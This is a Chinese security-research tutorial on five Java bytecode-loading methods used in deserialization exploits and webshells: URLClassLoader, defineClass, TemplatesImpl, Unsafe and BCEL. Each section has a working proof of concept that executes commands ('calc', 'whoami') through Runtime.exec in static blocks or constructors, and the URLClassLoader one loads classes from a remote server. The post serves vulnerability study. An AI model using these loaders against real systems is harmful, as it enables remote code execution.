作者:知道创宇-t4rreag
类的加载是Java非常重要的一个机制,为了后面更好的研究漏洞,需要掌握多种类加载机制,更好的理解漏洞原理。
关于类加载原理可以回顾我以前的文章ClassLoader
为什么说类的加载非常重要,因为类的加载提供了继反序列化后,另外一种可以执行命令的方式:当某个类被加载时,类中的静态代码块儿会被执行
一般来说类中代码块执行机制如下:
初始化:执行静态代码块
实例化:执行构造代码块、无参构造方法
本文将介绍5中常见的字节码加载方式:
URLClassLoader
ClassLoader#defineClass
TemplatesImpl
Unsafe#defineClass
BCEL ClassLoader
URLClassLoader远程加载字节码
URLClassLoader继承了ClassLoader,URLClassLoader提供了远程加载的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用(当然,该方式只适应于目标出网的情况)。
正常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举到的基础路径(这些路径是经过处理后的 java.net.URL类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
URL以/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
URL以/结尾,且协议名是file,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件
URL以/结尾,且协议名不是file,则使用最基础的Loader来寻找类
我们使用HTTP协议测试一下,让URLClassLoader从远程加载class文件
RuntimeTest.java
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
public class RuntimeTest {
public static void whoami(String[] args) throws IOException {
Process process = Runtime.getRuntime().exec("whoami");
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while((a = in.read(b))!=-1){
baos.write(b,0, a);
}
System.out.println(baos.toString());
}
}
URLClassLoaderTest.java
import java.net.URL;
import java.net.URLClassLoader;
public class URLClassLoaderTest {
public static void main(String[] args) throws Exception {
URL[] urls = {new URL("http://localhost:8080/")};
URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
Class<?> runtimeclass = urlClassLoader.loadClass("RuntimeTest");
Object object = runtimeclass.newInstance();
runtimeclass.getDeclaredMethod("whoami").invoke(object);
}
}
启动一个服务,并将RuntimeTest.java编译后的class文件放到根目录(http://localhost:8080/RuntimeTest.class)
成功加载
ClassLoader#defineClass直接加载字节码
上面已经介绍了URLClassLoader加载class,但其实不管是那种方式加载字节码,都会经历以下3个阶段
loadClass的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行findClass
findClass的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类
所以其实真正加载类的方法是defineClass
java中的ClassLoader#defineClass0/1/2是native()方法,是JVM调用的C的方法
我们这里就编写一个测试类,来简单实现一下ClassLoader#defineClass加载类
要被加载的类
test.java
import java.io.IOException;
public class test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
defineClassTest.java
package com.LoaderOfClass;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class defineClassTest {
public static void main(String[] args) throws Exception {
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\test.class"));
Class defineclass = (Class) defineClassMethod.invoke(systemClassLoader, "test", code, 0, code.length);
defineclass.newInstance();
}
}
这里要注意的一点是:defineclass()不会初始化类,也就是说不会执行类中的static代码块
通过defineclass.newInstance(),实例化该类(被加载的类)后才可执行静态代码块
TemplatesImpl加载字节码
在多个反序列化链中,以及fastjosn等组件中,都会有TemplatesImpl身影,因此有必要好好研究下
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类TransletClassLoader
该类重写了defineClass()方法,并且作用域为default,可以被外部调用
从TransletClassLoader#defineClass()开始,向上寻找调用链,最终的调用链为
TransletClassLoader#defineClass()
TemplatesImpl#defineTransletClasses()
TemplatesImpl#getTransletInstance()
TemplatesImpl#newTransformer()
TemplatesImpl#getOutputProperties()
最外面的两层TemplatesImpl#newTransformer()以及TemplatesImpl#getOutputProperties()都是public修饰的,因此可以被外部调用
我们使用TemplatesImpl#newTransformer()来编写一个简单的POC
测试类TemplatesImplTest.java
package com.LoaderOfClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import static cn.hutool.core.bean.BeanUtil.setFieldValue;
public class TemplatesImplTest {
public static void main(String[] args) throws IOException, TransformerConfigurationException {
TemplatesImpl templatesImpl = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\testTemplatesImpl.class"));
setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
templatesImpl.newTransformer();
}
}
需要用到BeanUtil.setFieldValue反射设置类的属性值,导入方式如下
Maven方式
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.5.8</version>
</dependency>
jar包方式
https://repo1.maven.org/maven2/cn/hutool/hutool-all/5.5.8/
测试类中,setFieldValue方法用来设置私有属性,这里我们设置了三个属性:
_bytecodes:由字节码组成的数组
_name:可以是任意字符串,只要不为null即可
_tfactory:需要是一个TransformerFactoryImpl对象,因为TemplatesImpl#defineTransletClasses()方法里调用了tfactory.getExternalExtensionsMap(),如果是null会出错。
另外,TemplatesImpl中对加载的字节码是有一定要求的:这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类
所以,我们需要构造一个类继承AbstractTranslet
testTemplatesImpl.java
package com.LoaderOfClass;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class testTemplatesImpl extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public testTemplatesImpl() throws IOException {
super();
Runtime.getRuntime().exec("calc");
}
}
将该类编译好后,放到指定的目录下,使用Files.readAllBytes()获取字节码
运行测试类,结果如下
Unsafe#defineClass直接加载字节码
sun.misc.Unsafe是Java底层API(仅限Java内部使用,反射可调用)提供的一个神奇的Java类,Unsafe提供了非常底层的内存、CAS、线程调度、类、对象等操作、Unsafe正如它的名字一样它提供的几乎所有的方法都是不安全的。
获取Unsafe对象
Unsafe类是一个单例,调用的方法为getUnsafe,如下。可以看到,虽然是可以调用,但是会有一步判断,判断是不是内部会检查该CallerClass是不是由系统类加载器Bootstrap ClassLoader加载。
@CallerSensitive
public static Unsafe getUnsafe() {
Class var0 = Reflection.getCallerClass();
if(!VM.isSystemDomainLoader(var0.getClassLoader())) {
throw new SecurityException("Unsafe");
} else {
return theUnsafe;
}
}
由上代码片段可以看到,Unsafe类是一个不能被继承的类且不能直接通过new的方式创建Unsafe类实例,如果通过getUnsafe方法获取Unsafe实例还会检查类加载器,默认只允许Bootstrap Classloader调用。
通常的调用getUnsafe()的方法:
通过JVM参数-Xbootclasspath指定要使用的类为启动类;
在Unsafe类中有一个成员变量,因此我们可以通过反射将private单例实例的accessible设置为true,然后通过Field的get方法获取。
既然无法直接通过Unsafe.getUnsafe()的方式调用,那么可以使用反射的方式去获取Unsafe类实例。
测试使用Unsafe#defineClass加载字节码
被加载的类使用相同的test.java
import java.io.IOException;
public class test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
UnsafeDefineClass.java
package com.LoaderOfClass;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class UnsafeDefineClass {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Class unsafeClass = Unsafe.class;
Field theUnsafeField = unsafeClass.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
byte[] code = Files.readAllBytes(Paths.get("E:\\test.class"));
Class testclass = unsafe.defineClass("test", code, 0 , code.length, classLoader, null);
testclass.newInstance();
}
}
BCELClassLoader
BCEL ClassLoader全名Apache Common BCEL
我们可以通过BCEL提供的两个类Repository和Utility来利用
Repository:用于将一个Class先转换成原生字节码;
Utility:用于将原生的字节码转换成BCEL格式的字节码;
BCEL这个包中有类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。
在ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。
编写测试类
test.java
package com.audit;
import java.io.IOException;
public class test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
TestBCEL.java
package com.LoaderOfClass;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class TestBCEL {
public static void main(String[] args) throws Exception {
JavaClass javaClass = Repository.lookupClass(test.class);
String encode = Utility.encode(javaClass.getBytes(), true);
new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
}
}
BCELlassLoader在利用链中也经常会出现,但在JDK 8u251后,这个ClassLoader被移除了。
关于BCELClassLoader,更详细的信息可以参考
https://blog.csdn.net/asasd101/article/details/110252587